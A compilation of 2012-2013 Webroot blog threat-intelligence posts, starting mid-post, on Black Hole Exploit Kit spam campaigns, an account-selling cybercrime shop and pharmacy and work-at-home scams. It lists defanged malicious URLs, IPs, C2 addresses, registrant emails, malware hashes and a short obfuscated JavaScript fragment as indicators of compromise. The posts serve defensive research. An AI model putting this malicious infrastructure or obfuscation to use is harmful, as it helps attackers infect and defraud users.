This is the most popular advertisement that was featured within the kit since day one, in an attempt by its author to not only achieve a decent brand awareness for the service, but also actually convert his current Black Hole Exploit Kit customers into customers of the crypting/obfuscating service as well. The results? Pretty decent conversion rates, based on a systematic tracking of the pseudo-random obfuscations generated by the service, and actually used in campaigns intercepted in the wild.

At a later stage, things slightly changed, perhaps due to the fact that Paunch's service has gained the necessary market share. The author of the kit started soliciting advertisements from fellow cybercriminals, like the following ad:

What's so special about the iFrame/Javascript crypting/obfuscation service operated by Paunch? It supports multiple crypting/obfuscating algorithms, as well as API keys, allowing 'on-the-fly' obfuscation for his customers to take advantage of.

Sample entry page for Paunch's crypting/obfuscating service:

Sample Black Hole Exploit Kit campaigns' pseudo-random obfuscation examples that used Paunch's service:

Cybercriminals impersonate FDIC, serve client-side exploits and malware **Spamvertised 'Your Fedex invoice is ready to be paid now' themed emails lead to Black Hole Exploit kit** **'Regarding your Friendster password' themed emails lead to Black Hole exploit kit**

Sample static javascript obfuscation courtesy of Paunch's service, and known to have been used in previously profiled malicious campaigns: *script>try{abre++} script>v="va"+"l" script>try{vfE++;}*

URLs known to have included the same obfuscated Javascript in the past: *hxxp://blue-lotusgrove.net/main.php?page=559e008e5ed98bf7 hxxp://dushare.net/main.php?page=c82ec1c8d6998cf0 hxxp://nf4.admonstr.net/ad/?id=735 hxxp://forehmailywt.ontheweb.nu/vc.php?go=2 hxxp://blacklabelblogs.com/fedinv.html hxxp://feverjoensuu.fi/AC_RunActiveContent.js hxxp://hotels-in-india.in/about-us.html*

Sample campaign that relied on the same Javascript obfuscation:

hxxp://graciemgt.huntwalker.com/clients.php -> hxxp://mrtwimcraiprwogw.info/in.cgi?14 – 37.59.236.138 (AS16276) – Email: davis_osburn56@saintmail.net -> hxxp://eheph.AlmostMy.COM/hulk -> hxxp://pornadvocate.com

The following malicious redirectors are known to have responsed to the same IP (37.59.236.138) in the past: *effehilmhgctrpia.info qprfhoerftcpwfoc.info pictptrjgmtfhwqc.info ijwwgrjiolhhzpwc.info frjwdrfjwwwreife.info fepzjrdeqwppzpre.info teihjtzmjjppzccf.info foppwrijcjweczgf.info twefwhiogaemawif.info wricfffjewcmricg.info cwwppthwwwlejiwg.info wdgffiapcrhpgcch.info dcfocihgaoffhteh.info zqiwfheeehfjchdi.info ftctwpcrrchwqdfi.info cwfdrdwjfwolhegi.info iwdddhfmozlrpewj.info clmrcwwhfdqghjgl.info fcirpfgfiwrcgjol.info wfhfppacfefepwzl.info mwpzgwoeewemfewm.info jtrjjfcgprmdqawo.info gchecwwgqwwefhgp.info rwhgwgjmwqffjlip.info whieggaowrcpiljp.info hdhgwwqgflwiqwtp.info pjjppdwhrrpjjccq.info hfmeqigghicwrwar.info hfgwlfpizfwottcr.info wgeffroawwfhthir.info effjhejwrjghrcat.info rwgwziiwgrwciwct.info lidgegrragewhdqt.info wwirfwqfiwizzgtt.info hhcdlfccqftweeew.info mrtwimcraiprwogw.info ijdewiritmhcqhcz.info gogopro.pro safeperl.net gogoperl.net*

What's particularly interesting about these domains is that we have a seperate MD5 phoning back to two of these domains, namely, **safeperl.net** and **gogoperl.net** (**MD5: 8545473E7F34B5D5A611D757D9444E3D** – detected by 2 out of 42 antivirus scanners as Trojan-Ransom.Win32.Birele.aegw).

This campaign is just the tip of the iceberg, and so is Paunch's **underground ecosystem multi-tasking projects** . What's for certain is the fact that, just like the majority of cybercriminals, he's got multiple sources of revenue through 'vertical market integration' development projects.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

A peek inside a boutique cybercrime-friendly E-shop - part six - Webroot Blog

facebook linkedin twitter

In 2012, we started the "**A Peek Inside a Boutique Cybercrime-Friendly E-shop** " series, in response to the emerging market segment largely driven by novice cybercriminals relying on ubiquitous E-shop templates to sell their fraudulently obtained assets.

In this post, I'll profile one of the most diversified (in terms of quantity and type of fraudulently obtained assets) boutique cybercrime-friendly E-shops I've come across since the launch of the series.

More details:

Sample entry page of the cybercrime-friendly E-shop:

The news section of the boutique cybercrime-friendly E-shop:

The type of fraudulently obtained assets, and their quantity:

As you can see in the attached screenshot, the E-shop is currently offering:

USA Leads
RDP MA
RDP IR
Leads
Leads USA
Webmail
IP Panel
Mixed Leads
Apple.com accounts Shell
RDP USA Fresh
Amazon.com accounts Buy.com accounts
FTP account
Match.com accounts

Dell.com accounts Overstock.com accounts
Wallmart.com accounts

Sample of fraudulently obtained assets offered for sale:

Sample inventory listing for Amazon.com accounts:

Sample inventory listing for Wallmart.com accounts offered for sale:

Although the total amount of 658 compromised accounts isn't a staggering number for the time being, this E-shop remains the market leader in the series of posts profiling this emerging market segment. Although the E-shop is constantly rotating and re-introducing new domains to stay online, it continues to maintain the same customer base, with new customer acquisition practices taking place primarily through spamvertising.

Consider going through related posts profiling the activities of more E-shops selling access to compromised accounts:

Recently launched E-shop sells access to hundreds of hacked PayPal accounts New Russian service sells access to compromised Steam accounts

We'll continue monitoring this emerging market segment and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'You have made an Ebay purchase' themed emails lead to client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals have launched yet another massive spam campaign, this time impersonating both **eBay** and **PayPal**, in an attempt to trick their users into clicking on the client-side exploits and malware serving links found in the malicious emails.

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign:
hxxp://idrapidleech.com/components/com_ag_google_analytics2/purhcoverview.html
hxxp://apartistanbul.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://setpersianstyle.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://lasienwater.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://spadanastone.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://adpalmaseca.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://ustradework.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://archerscluboffa.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://odiwohng.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://softouchsystem.com/components/com_ag_google_analytics2/purchaseinfo.html
hxxp://fairwaterconsultants.com/components/com_ag_google_analyt

ics2/purchaseinfo.html hxxp://popularesalhama.com/components/com_ag_google_analytics2/purchaseinfo.html hxxp://adpalmaseca.com/components/com_ag_google_analytics2/purchaseinfo.html

Sample client-side exploits serving domains: *hxxp://litefragmented.pro/detects/telling-purchase-checks.php hxxp://ibertomoralles.com/detects/slowly_apply.php*

Malicious domain names reconnaissance: litefragmented.pro – 59.64.144.239 – Email: kee_mckibben0869@macfreak.com Name Server: **NS1.CHELSEAFUN.NET** Name Server: **NS2.CHELSEAFUN.NET**

We've already seen and profiled the same email (*kee_mckibben0869@macfreak.com*) in the following analyses – "Cybercriminals spamvertise millions of FDIC 'Your activity is discontinued' themed emails, serve client-side exploits and malware "; "Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware ".

We've also seen the same name servers used in the following previously profiled malicious campaigns:

'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware 'PayPal Account Modified' themed emails lead to Black Hole Exploit Kit Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware Cybercriminals spamvertise millions of FDIC 'Your activity is discontinued' themed emails, serve client-side exploits and malware 'Payroll Account Holded by Intuit' themed emails lead to Black Hole Exploit Kit

ibertomoralles.com – 59.57.247.185 – Email: rick.baxter@costcontrolsoftware.com
Name Server: **NS1.SOFTVIK.NET** – 84.32.116.189 – Email: farbonite@hotmail.com
Name Server: **NS2.SOFTVIK.NET** – 15.209.33.133 – Email: farbonite@hotmail.com

Responding to 59.57.247.185 are also the following malicious domains: *roketlauncherskiy.org moid.pl securityday.pl icobag.com proscitomash.com labpr.com shopgreatvideonax.com codemark.net zindt.net hfeitu.net naky.net svictrorymedia.ru ygsecured.ru winterskyserf.ru romoviebabenki.ru addon.su robertokarlosskiy.su*

We've already seen and profiled the same IP in the following malicious campaigns: "**Fake 'Citi Account Alert' themed emails lead to Black Hole Exploit Kit** "; "**Spamvertised 'Your Recent eBill from Verizon Wireless' themed emails serve client-side exploits and malware** "; "**Fake BBB (Better Business Bureau) Notifications lead to Black Hole Exploit Kit** ".

We'll continue monitoring the activities of this cybercriminal/gang of cybercriminals and post updates as soon as new campaigns are launched.

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Attention! Changes in the bank reports!' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising tens of thousands of emails in an attempt to impersonate the recipients' bank, tricking them into thinking that the Ministry of Finance in their country has introduced new rules for records keeping, and that they need to print and sign a non-existent document.

Once users click on the links found in the malicious emails, they're automatically exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised compromised URLs: *hxxp://procenter.se/stats/mail.htm?RANDOM_CHARACTERS* ; *hxxp://epk.cm.ru/sites/default/files/mail.htm?RANDOM_CHARACTERS*

Sample client-side exploits serving URL: *hxxp://apendiksator.ru:8080/forum/links/column.php*

Malicious domain name reconnaissance: apendiksator.ru – 91.224.135.20; 210.71.250.131; 187.85.160.106
Name server: **ns1.apendiksator.ru** – 62.76.186.24
Name server: **ns2.apendiksator.ru** – 110.164.58.250
Name server: **ns3.apendiksator.ru** – 42.121.116.38
Name server: **ns4.apendiksator.ru** – 41.168.5.140

Responding to the same IPs are also the following malicious domains part of the campaign's infrastructure:
afjdoospf.ru – 91.224.135.20
angelaonfl.ru – 91.224.135.20
akionokao.ru – 91.224.135.20

The following malicious domains/URLs have also been known to respond to 187.85.160.106: *hxxp://bunakaranka.ru/ hxxp://bumarazhkaio.ru:8080/forum/links/public_version.php hxxp://seledkindoms.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c hxxp://mazdaforumi.ru:8080/forum/w.php?f=182b5&e=2 hxxp://immerialtv.ru:8080/forum/files/182b5*

Although we couldn't reproduce the malicious payload at **apendiksator.ru** , we found that the malicious payload served by **immerialtv.ru** (known to have responded to the same IP) is identical to the MD5 (**MD5: 83db494b36bd38646e54210f6fdcbc0d** – detected by 34 out of 42 antivirus scanners as VirTool:Win32/CeeInject.). This MD5 was dropped in a previously profiled campaign – "**Spamvertised 'Your Amazon.com order confirmation' emails serving client-side exploits and malware** ", indicating that both of these campaigns are launched by the same cybercriminal/gang of cybercriminals.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake BBB (Better Business Bureau) Notifications lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Cybercriminals have recently launched yet another massive spam campaign, impersonating a rather popular brand used in a decent percentage of social engineering driven email campaigns – the **BBB (Better Business Bureau)** .

Once users click on any of the links in the malicious emails, they're automatically exposed to the client-side exploits served by the **Black Hole Exploit kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://favemobile.com/wp-content/plugins/zxchhxeoige/betterbusinessrp.html hxxp://gaming-blogger.com/wp-content/plugins/zokkbualhxe/betterbusinessrp.html hxxp://gofastco.com/wp-content/plugins/zaoouodkpnx/betterbusinessrp.html hxxp://williamusmanjr.com/wp-content/plugins/zpihwsvwaeo/betterbusinessrp.html*

Sample client-side exploits serving URL: *hxxp://tv-usib.com/detects/property-mass-dollar_figure.php*

Malicious domain name reconnaissance: tv-usib.com – 59.57.247.185 – Email: twine.tour1@yahoo.com
Name Server: NS1.AMISHSHOPPE.NET – Email: solaradvent@yahoo.com
Name Server: NS2.AMISHSHOPPE.NET – Email: solaradvent@yahoo.com

Responding to 59.57.247.185 are also the following malicious domains, part of the campaign's infrastructure: *africanbeat.net akbmag.com atsushitani.com barcwealth.com bmsavingsn.com* –

ACTIVE phishing campaign *eaglepointecondo.biz eaglepointecondo.info eaglepointecondo.org hfeitu.net incinteractive.net labpr.com lloydsbts-offshore.com sessionid0147239047829578349578239077.pl winterskyserf.ru*

We've already seen the same name servers used in the previously profiled "**Fake 'Citi Account Alert' themed emails lead to Black Hole Exploit Kit** "; "**Spamvertised 'Your Recent eBill from Verizon Wireless' themed emails serve client-side exploits and malware** " campaigns.

Upon successful client-side exploitation, the campaign drops **MD5: 2646f13db754654aff315ff9da9fa911** – detected by 30 out of 46 antivirus scanners as Worm:Win32/Cridex.E.

Upon execution, the sample phones back to: *94.73.129.120:8080/rxrt0CA/hIvhA/K66fEB/*

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Your Recent eBill from Verizon Wireless' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Throughout 2012, we intercepted two **malicious campaigns** impersonating **Verizon Wireless** in an attempt to trick its customers into clicking on links pointing to fake eBills.

It appears that cybercriminals are back in the game, with yet another Verizon Wireless themed malicious campaign, enticing users to click on the malicious link found in the email. Once users click on the link, they're automatically exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample email subjects: *Fresh eBill is Should Be Complete. From: Verizon Wireless* ; *Your Recent eBill from Verizon Wireless*

Sample spamvertised compromised URLs: *hxxp://primarycareconferences.com/wp-content/plugins/zojfvaoluwh/eBill_detalls.html hxxp://pricesalebestsusu-2.com/wp-admin/eBill_ready.html hxxp://dullarrows.com/wp-content/plugins/zgnosegetua/eBill_ready.html hxxp://palm-paper.com/wp-content/plugins/zueijlwqwpe/eBill_ready.html hxxp://tobash.com/wp-content/plugins/zyefqyehoum/eBill_ready.html*

Sample client-side expoits serving URL: *hxxp://proxfied.net/detects/inform_rates.php*

Malicious domain name reconnaissance: proxfied.net – 59.57.247.185 – Email: colorsandforms@aol.com
Name Server: **NS1.AMISHSHOPPE.NET** – Email: solaradvent@yahoo.com
Name Server: **NS2.AMISHSHOPPE.NET** – Email: solaradvent@yahoo.com

We’ve already seen the same name servers used in the following previously profiled malicious campaign – “**Fake ‘Citi Account Alert’ themed emails lead to Black Hole Exploit Kit** “.

Responding to 59.57.247.185 are also the following malicious campaigns part of the campaign’s infrastructure: *sessionid0147239047829578349578239077.pl latticesoft.net africanbeat.net eaglepointecondo.biz eaglepointecondo.info eaglepointecondo.org hfeitu.net labpr.com winterskyserf.ru*

Upon successful client-side exploitation, the campaign drops **MD5: ce367f8e8fa4be25ef80baf5f4aff5c4** – detected by 26 out of 45 antivirus scanners as Worm:Win32/Cridex.E.

Although the cybercriminals didn’t bother coming up with a visually appealing email template impersonating Verizon Wireless like we’ve seen in the previously profiled Verizon Wireless themed campaigns from 2012, they continued to rely on the same malicious infrastructure used in the **previously profiled Citi themed malicious campaign** , indicating poor QA (Quality Assurance) on their behalf.

We’ll continue monitoring the campaign, and post updates as soon as new development emerge.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'UPS Delivery Confirmation Failed' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Continuing their **well proven** social **engineering** tactic of impersonating the market leading courier services, **cybercriminals** are **currently** mass mailing tens of thousands of emails impersonating UPS, in an attempt to trick users into clicking on the malicious links found in the legitimate-looking emails.

Once they click on the links, they're automatically exposed to the client-side exploits served by the **Black Hole Exploit kit** .

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised compromised URLs: *hxxp://www.aberdyn.fr/letter.htm hxxp://www.aberdyn.fr/osc.htm*

Sample client-side exploits serving URLs: *hxxp://apendiksator.ru:8080/forum/links/column.php hxxp://sectantes-x.ru:8080/forum/links/column.php*

Sample malicious payload dropping URL: *hxxp://sectantes-x.ru:8080/forum/links/column.php?uvt=0a04070634&wvqi=33&yrhsb=330709373807073606 0b&vjppc=02000200020002*

Client-side exploits served: *CVE-2010-0188*

Although we couldn't reproduce the client-side exploitation taking place through these domains in the time of posting this analysis, we know that on 2012-09-27 one of the domains (**sectantes-x.ru**) also served client-side exploits, and dropped a particular piece of malware – **MD5: 9f86a132c0a5f00705433632879a20b9** – detected by 27 out of 42 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.abup.

Upon execution, the sample phones back to the following command and control servers: 178.77.76.102 (AS20773)
91.121.144.158 (AS16276)
213.135.42.98 (AS15396)
207.182.144.115 (AS10297)

More MD5s are known to have phoned back to the same IPs:
MD5: 7515448fa3aa1ee585311b80dab7ca87 – detected by 38 out of 44 antivirus scanners as Worm:Win32/Cridex.E
MD5: 92978246ab42f68c323c36e62593d4ee – detected by 31 out of 43 antivirus scanners as HEUR:Trojan.Win32.Invader
MD5: 19f481447e1adf70245582d4f4f5719c – detected by 40 out of 43 antivirus scanners as Worm:Win32/Cridex.E
MD5: 62825338329b0fa9f3ec8cc282154760 – detected by 41 out of 44 antivirus scanners as Worm:Win32/Cridex.E
MD5: 1b97e4021dc75a8cd8854aa61984dd44 – detected by 34 out of 43 antivirus scanners as Worm:Win32/Cridex.E
MD5: e09f719b6dde74972a810979812fdc01 – detected by 42 out of 46 antivirus scanners as Worm:Win32/Cridex.E

Malicious domain name reconnaissance: apendiksator.ru – 91.224.135.20; 187.85.160.106; 210.71.250.131
Name server: **ns1.apendiksator.ru** – 62.76.186.24
Name server: **ns2.apendiksator.ru** – 110.164.58.250
Name server: **ns3.apendiksator.ru** – 42.121.116.38
Name server: **ns4.apendiksator.ru** – 41.168.5.140

sectantes-x.ru Name server: **ns1.sectantes-x.ru** – 62.76.46.195
Name server: **ns2.sectantes-x.ru** – 87.120.41.155
Name server: **ns3.sectantes-x.ru** – 132.248.49.112
Name server: **ns4.sectantes-x.ru** – 91.194.122.8
Name server: **ns5.sectantes-x.ru** – 62.76.188.246

Responding to these IPs (91.224.135.20; 187.85.160.106; 210.71.250.131) are also the following malicious domains:
bunakaranka.ru – 91.224.135.20
afjdoospf.ru – 91.224.135.20
angelaonfl.ru – 91.224.135.20
akionokao.ru – 91.224.135.20

apendiksator.ru – 91.224.135.20
bilainkos.ru – 91.224.135.20

Name servers participating in the campaign's infrastructure:
Name server: **ns1.bunakaranka.ru** – 62.76.186.24
Name server: **ns2.bunakaranka.ru** – 110.164.58.250
Name server: **ns3.bunakaranka.ru** – 42.121.116.38
Name server: **ns4.bunakaranka.ru** – 41.168.5.140
Name server: **ns1.afjdoospf.ru** – 62.76.186.24
Name server: **ns2.afjdoospf.ru** – 110.164.58.250
Name server: **ns3.afjdoospf.ru** – 42.121.116.38
Name server: **ns4.afjdoospf.ru** – 41.168.5.140
Name server: **ns1.angelaonfl.ru** – 62.76.186.24
Name server: **ns2.angelaonfl.ru** – 110.164.58.250
Name server: **ns3.angelaonfl.ru** – 42.121.116.38
Name server: **ns4.angelaonfl.ru** – 41.168.5.140
Name server: **ns1.akionokao.ru** – 62.76.186.24
Name server: **ns2.akionokao.ru** – 110.164.58.250
Name server: **ns3.akionokao.ru** – 42.121.116.38
Name server: **ns4.akionokao.ru** – 41.168.5.140
Name server: **ns1.apendiksator.ru** – 62.76.186.24
Name server: **ns2.apendiksator.ru** – 110.164.58.250
Name server: **ns3.apendiksator.ru** – 42.121.116.38
Name server: **ns4.apendiksator.ru** – 41.168.5.140
Name server: **ns1.bilainkos.ru** – 62.76.186.24
Name server: **ns2.bilainkos.ru** – 110.164.58.250
Name server: **ns3.bilainkos.ru** – 42.121.116.38
Name server: **ns4.bilainkos.ru** – 41.168.5.140

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals resume spamvertising British Airways themed E-ticket receipts, serve malware - Webroot Blog

facebook linkedin twitter

British Airways customers, watch out!

Cybercriminals have resumed spamvertising fake British Airways themed E-receipts — we **intercepted the same campaign** back in October — in an attempt to trick its customers into executing the malicious attachment found in the emails.

More details:

Sample screenshot of the spamvertised email:

Sample detection rate for the malicious attachment: MD5: b46709cf7a6ff6071a6342eff3699bf0 – detected by 39 out of 46 antivirus scanners as Worm:Win32/Gamarue.I

Upon execution, it creates the following mutex on infected hosts: SHIMLIB_LOG_MUTEX

It also initiates POST requests to the following IP: *87.255.51.229/ff/image.php*

As well as DNS requests to the following hosts: *zzbb45nnagdpp43gn56.com – 87.255.51.229 a9h23nuian3owj12.com – 87.255.51.229 zzbg1zv329sbgn56.com – 87.255.51.229 www.update.microsoft.com – 65.55.185.26 ddbbzmjdkas.us ddbbzmjdkas.us*

The IPs are currently **sinkholed** by **Abuse.ch.**

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Pharmaceutical scammers spamvertise YouTube themed emails, entice users into purchasing counterfeit drugs - Webroot Blog

facebook linkedin twitter

Pharmaceutical scammers are currently spamvertising a YouTube themed email campaign, attempting to socially engineer users into clicking on the links found in the legitimately looking emails.

Upon clicking on the fake YouTube personal message notification, users are redirected to a website reselling popular counterfeit drugs. The cybercriminals behind the campaign then earn revenue through an **affiliate network** .

More details:

Sample screenshot of the spamvertised email:

Once users click on the link found in the email, they're redirected to the following holiday-themed pharmaceutical web site:

Spamvertised URL: *hxxp://roomwithaviewstudios.com/inherits.html*

Landing URL: *hxxp://canadapharmcanadian.net* – 109.120.138.155

The following fraudulent pharmaceutical sites have also been known to respond to the same IP (109.120.138.155):
tabletlevitripad.com – 95.58.254.74 – Email: hayes@ca4.ru ; Name servers: **NS1.GENERICSWELLOCH.COM** (93.99.136.42); **NS2.XCILE.RU** (61.177.184.98)
carewiski.com – Email: pawnbroker@carewiski.com
garciniaherbal.com – Email: sonseeahray@garciniaherbal.com ; Name servers: **NS1.OMECT.RU** (93.99.136.42); **NS2.ZORNY.RU** (61.177.184.98)
benghazilispharm.com – 84.22.104.123 – Email: cargreaves@benghazilispharm.com ; Name servers: **NS1.BENGHAZILISPHARM.COM** (58.42.251.237);

NS2.BENGHAZILISPHARM.COM (221.207.50.84)
canadawelcanadian.com – Email: simeao@canadawelcanadian.com ; Name servers: **NS1.CLUL.RU** (93.99.136.42); **NS2.TLAH.RU** (221.207.50.84)
centprescription.com – 84.22.104.123 – Email: tremon@centprescription.com ; Name servers: **NS1.CENTPRESCRIPTION.COM** (93.99.136.42); **NS2.CENTPRESCRIPTION.COM** (60.28.145.226)
bloodgenerics.com – 84.22.104.123 – Email: milroy@bloodgenerics.com ; Name servers: **NS1.BLOODGENERICS.COM** (93.99.136.42); **NS2.BLOODGENERICS.COM** (125.16.213.251)
tabletgenerics.com – 95.58.254.74 – Email: brosilow@tabletgenerics.com ; Name servers: **NS1.TABLETGENERICS.COM** (125.16.213.251); **NS2.TABLETGENERICS.COM** (221.207.50.84)
drugenericsmeds.com – 84.22.104.123 – Email: moody@ppmail.ru ; Name servers: **NS1.DRUGENERICSMEDS.COM** (93.99.136.42); **NS2.DRUGENERICSMEDS.COM** (125.16.213.251)
drugherbalpills.com – 84.22.104.123 – Email: courtier@drugherbalpills.com ; Name servers: **NS1.OHICS.RU** (93.99.136.42); **NS2.SIEW.RU** (60.28.145.226)

Fortunately, during the time of testing the responsiveness of the site, it was desperately trying to remain online, which prevented the socially engineered users from initiating a transaction through it. However, this is sadly an isolated incident. According to **recently published research** , hundreds of thousands of US-based users click on links found in these types of fraudulent emails, and actually add counterfeit drugs to their shopping carts. The vibrant cybercrime ecosystem is in fact so advanced that, in order to stimulate the affiliate network participants into converting more traffic into actual customers, they even hold **annual contests** aiming to build a loyal community of network participants.

This isn’t the first time that we’ve intercepted attempts by pharmaceutical scammers to socially engineer potential customers into clicking on the links found in legitimately looking emails. In the past, we’ve found **fake Google Pharmacies** and emails impersonating **YouTube and Twitter** , as well as **Facebook Inc.,** in an attempt to add more authenticity and legitimacy to their campaigns.

We expect to see more of these campaigns in 2013, with a logical peak over the next couple of days, so watch what you click on, don’t enter your credit card details on websites found in spam emails, and never bargain with your health.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Work at Home" scams impersonating CNBC spotted in the wild - Webroot Blog

facebook linkedin twitter

Online scammers often promise you the moon in exchange for virtually nothing besides a modest financial investment. They are largely successful due to the high number of socially engineered customers. However, sometimes they tend to play by the rules in order to avoid legal responsibility for the business failure of those who purchased the "too good to be true" product.

In this post, I'll profile a currently circulating **"Work At Home" scam** that's successfully and professionally impersonating CNBC in an attempt to add more legitimacy to its market proposition – the Home Business System.

More details:

Sample screenshot of the spamvertised email impersonating CNBC:

Sample screenshot of the fake CNBC news article detailing the success of the Home Business System:

No matter where you click, you'll always be redirected to the Home Business System.

Sample bogus statistics sent by customers of the system:

What's particularly interesting about this campaign is the way the scammers process credit card details. They do it internally, not through a payment processing intermediary, using basic SSL encryption, featuring fake "Site Secured" logos, including one that's mimicking the "VeriSign Secured" service. Although the SSL certificate is valid, the fact that they even require your CVV/CVV2 code, without providing adequate information on how they store and actually process the credit card numbers in their possession, is enough to make you extremely suspicious.

Sample spamvertised URLs: *hxxp://5186d4d1.livefreetimenews.com/ hxxp://5f4a8abae0.get-more-news.com/*

Domains participating in the campaign: **worldnewsyesterday.com** – Email: johnjbrannigan@teleworm.us **worldnewsimportant.com** – Email: johnjbrannigan@teleworm.us **hbs-system.com** – Email: cinthiaheimbignerupbg@hotmail.com

Historically, the following domains were also used in a similar fashion: homeworkhere.com – Email: zoilaprni4d@yahoo.com **lastnewsworld.com** – Email: shirleysmith57@yahoo.com **homecompanysystem.com** – Email: deloristrevertonef53@yahoo.com

Users are advised not to click on links found in spam emails, and to never entrust their credit card details to someone who's spamvertising you using the services of some of the most prolific botnets currently online.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'Citi Account Alert' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing hundreds of thousands of emails impersonating **Citi** , using two different professionally looking email templates. Upon clicking on any of the links found in the malicious emails, users are exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the first spamvertised template:

Sample screenshot of the second spamvertised template:

Sample spamvertised compromised URLS used in the campaign:
hxxp://franctelnetwork.com/components/com_ag_google_analytics2/citialertservice.html
hxxp://ghostdeal.com/components/com_ag_google_analytics2/citialertservice.html
hxxp://thesmsway.com/components/com_ag_google_analytics2/citialertservice.html
hxxp://911pcs.com/components/com_ag_google_analytics2/alert-service-citibank.html
hxxp://rjewelryd.com/components/com_ag_google_analytics2/alert-service-citibank.html
hxxp://softwarehit.com/components/com_ag_google_analytics2/alert-service-citi-sign_in.html
hxxp://ceipfernandogavilan.com/components/com_ag_google_analytics2/alert-service-citi-sign_in.html
hxxp://troubleshootersacademy.com/components/com_ag_google_analytics2/citialert-sign_in.html

Sample client-side exploits serving URLs: **hxxp://eaglepointecondo.biz/detects/operation_alert_login.php** – 59.57.247.185
Name Server: **NS1.AMISHSHOPPE.NET** – 209.140.18.37 – Email:

solaradvent@yahoo.com
Name Server: **NS2.AMISHSHOPPE.NET** – 211.27.42.138 – Email: solaradvent@yahoo.com

hxxp://platinumbristol.net/detects/alert-service.php – 59.57.247.185
Name Server: **NS1.AMISHSHOPPE.NET** – 209.140.18.37 – Email: solaradvent@yahoo.com
Name Server: **NS2.AMISHSHOPPE.NET** – 211.27.42.138 – Email: solaradvent@yahoo.com

